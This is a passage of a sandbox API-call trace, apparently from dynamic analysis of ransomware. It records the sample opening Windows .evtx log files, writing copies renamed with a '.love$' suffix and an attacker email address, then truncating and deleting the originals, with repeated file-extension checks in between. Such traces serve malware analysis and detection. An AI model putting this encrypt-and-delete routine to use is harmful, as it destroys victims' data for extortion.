returned 4 [0112.512] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0112.512] lstrlenW (lpString=".7z") returned 3 [0112.512] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0112.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.512] lstrlenW (lpString=".dbf") returned 4 [0112.512] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0112.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.512] lstrlenW (lpString=".1cd") returned 4 [0112.512] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0112.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0112.513] lstrlenW (lpString=".jpg") returned 4 [0112.513] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0112.513] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0112.513] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71 [0112.513] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0113.667] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1052672) returned 1 [0113.667] CloseHandle (hObject=0x344) returned 1 [0113.667] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0113.668] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0113.668] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0113.668] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.668] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.668] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0113.669] GetLastError () returned 0x0 [0113.670] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0113.707] WriteFile (in: hFile=0x380, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0114.375] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x1010, lpOverlapped=0x0) returned 1 [0114.386] WriteFile (in: hFile=0x380, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1020, lpOverlapped=0x0) returned 1 [0114.391] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0114.391] WriteFile (in: hFile=0x380, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x162, lpOverlapped=0x0) returned 1 [0114.391] SetEndOfFile (hFile=0x380) returned 1 [0114.391] CloseHandle (hObject=0x380) returned 1 [0114.946] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.946] SetEndOfFile (hFile=0x344) returned 1 [0114.947] CloseHandle (hObject=0x344) returned 1 [0114.947] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0114.948] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0114.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.949] lstrlenW (lpString=".doc") returned 4 [0114.949] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.949] lstrlenW (lpString=".docx") returned 5 [0114.949] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.949] lstrlenW (lpString=".pdf") returned 4 [0114.949] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.949] lstrlenW (lpString=".xls") returned 4 [0114.949] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.949] lstrlenW (lpString=".xlsx") returned 5 [0114.949] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.949] lstrlenW (lpString=".ppt") returned 4 [0114.949] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.949] lstrlenW (lpString=".zip") returned 4 [0114.949] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.949] lstrlenW (lpString=".rar") returned 4 [0114.949] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.949] lstrlenW (lpString=".bz2") returned 4 [0114.949] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.949] lstrlenW (lpString=".7z") returned 3 [0114.949] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.949] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.949] lstrlenW (lpString=".dbf") returned 4 [0114.950] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.950] lstrlenW (lpString=".1cd") returned 4 [0114.950] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.950] lstrlenW (lpString=".jpg") returned 4 [0114.950] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.950] lstrlenW (lpString=".doc") returned 4 [0114.950] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.950] lstrlenW (lpString=".docx") returned 5 [0114.950] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.950] lstrlenW (lpString=".pdf") returned 4 [0114.950] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.950] lstrlenW (lpString=".xls") returned 4 [0114.950] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.950] lstrlenW (lpString=".xlsx") returned 5 [0114.950] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.950] lstrlenW (lpString=".ppt") returned 4 [0114.950] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.950] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.950] lstrlenW (lpString=".zip") returned 4 [0114.950] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.951] lstrlenW (lpString=".rar") returned 4 [0114.951] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.951] lstrlenW (lpString=".bz2") returned 4 [0114.951] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.951] lstrlenW (lpString=".7z") returned 3 [0114.951] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.951] lstrlenW (lpString=".dbf") returned 4 [0114.951] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.951] lstrlenW (lpString=".1cd") returned 4 [0114.951] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0114.951] lstrlenW (lpString=".jpg") returned 4 [0114.951] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.951] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0114.951] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55 [0114.951] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0116.727] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0116.727] CloseHandle (hObject=0x2d8) returned 1 [0116.727] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0116.727] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.728] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0116.728] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.728] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.728] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0117.165] GetLastError () returned 0x0 [0117.165] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0117.180] WriteFile (in: hFile=0x37c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0117.183] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.183] WriteFile (in: hFile=0x37c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x142, lpOverlapped=0x0) returned 1 [0117.183] SetEndOfFile (hFile=0x37c) returned 1 [0117.183] CloseHandle (hObject=0x37c) returned 1 [0117.187] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.187] SetEndOfFile (hFile=0x2d8) returned 1 [0117.193] CloseHandle (hObject=0x2d8) returned 1 [0117.193] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0117.193] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0117.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.194] lstrlenW (lpString=".doc") returned 4 [0117.194] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.194] lstrlenW (lpString=".docx") returned 5 [0117.194] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.194] lstrlenW (lpString=".pdf") returned 4 [0117.194] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.194] lstrlenW (lpString=".xls") returned 4 [0117.194] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.194] lstrlenW (lpString=".xlsx") returned 5 [0117.194] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.194] lstrlenW (lpString=".ppt") returned 4 [0117.194] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.194] lstrlenW (lpString=".zip") returned 4 [0117.194] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.194] lstrlenW (lpString=".rar") returned 4 [0117.194] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.194] lstrlenW (lpString=".bz2") returned 4 [0117.194] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.195] lstrlenW (lpString=".7z") returned 3 [0117.195] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.195] lstrlenW (lpString=".dbf") returned 4 [0117.195] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.195] lstrlenW (lpString=".1cd") returned 4 [0117.195] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.195] lstrlenW (lpString=".jpg") returned 4 [0117.195] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.195] lstrlenW (lpString=".doc") returned 4 [0117.195] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.195] lstrlenW (lpString=".docx") returned 5 [0117.195] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.195] lstrlenW (lpString=".pdf") returned 4 [0117.195] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.195] lstrlenW (lpString=".xls") returned 4 [0117.195] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.195] lstrlenW (lpString=".xlsx") returned 5 [0117.195] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.195] lstrlenW (lpString=".ppt") returned 4 [0117.195] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.195] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.195] lstrlenW (lpString=".zip") returned 4 [0117.196] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.196] lstrlenW (lpString=".rar") returned 4 [0117.196] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.196] lstrlenW (lpString=".bz2") returned 4 [0117.196] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.196] lstrlenW (lpString=".7z") returned 3 [0117.196] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.196] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.196] lstrlenW (lpString=".dbf") returned 4 [0117.196] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.196] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.196] lstrlenW (lpString=".1cd") returned 4 [0117.196] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.196] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0117.196] lstrlenW (lpString=".jpg") returned 4 [0117.196] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.196] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0117.196] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64 [0117.196] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.209] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0117.209] CloseHandle (hObject=0x344) returned 1 [0117.209] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0117.209] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.209] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.210] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.210] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.210] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0117.211] GetLastError () returned 0x0 [0117.212] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0117.236] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0117.239] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.241] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x154, lpOverlapped=0x0) returned 1 [0117.241] SetEndOfFile (hFile=0x318) returned 1 [0117.241] CloseHandle (hObject=0x318) returned 1 [0117.245] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.245] SetEndOfFile (hFile=0x344) returned 1 [0117.246] CloseHandle (hObject=0x344) returned 1 [0117.246] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0117.246] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0117.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.247] lstrlenW (lpString=".doc") returned 4 [0117.247] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.247] lstrlenW (lpString=".docx") returned 5 [0117.247] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.247] lstrlenW (lpString=".pdf") returned 4 [0117.247] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.247] lstrlenW (lpString=".xls") returned 4 [0117.247] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.247] lstrlenW (lpString=".xlsx") returned 5 [0117.247] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.247] lstrlenW (lpString=".ppt") returned 4 [0117.247] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.247] lstrlenW (lpString=".zip") returned 4 [0117.247] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.247] lstrlenW (lpString=".rar") returned 4 [0117.247] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.248] lstrlenW (lpString=".bz2") returned 4 [0117.248] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.248] lstrlenW (lpString=".7z") returned 3 [0117.248] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.248] lstrlenW (lpString=".dbf") returned 4 [0117.248] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.248] lstrlenW (lpString=".1cd") returned 4 [0117.248] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.248] lstrlenW (lpString=".jpg") returned 4 [0117.248] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.248] lstrlenW (lpString=".doc") returned 4 [0117.248] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.248] lstrlenW (lpString=".docx") returned 5 [0117.248] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.248] lstrlenW (lpString=".pdf") returned 4 [0117.248] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.248] lstrlenW (lpString=".xls") returned 4 [0117.248] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.248] lstrlenW (lpString=".xlsx") returned 5 [0117.248] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.248] lstrlenW (lpString=".ppt") returned 4 [0117.248] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.248] lstrlenW (lpString=".zip") returned 4 [0117.248] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.248] lstrlenW (lpString=".rar") returned 4 [0117.249] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.249] lstrlenW (lpString=".bz2") returned 4 [0117.249] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.249] lstrlenW (lpString=".7z") returned 3 [0117.249] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0117.249] lstrlenW (lpString=".dbf") returned 4 [0117.249] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.249] lstrlenW 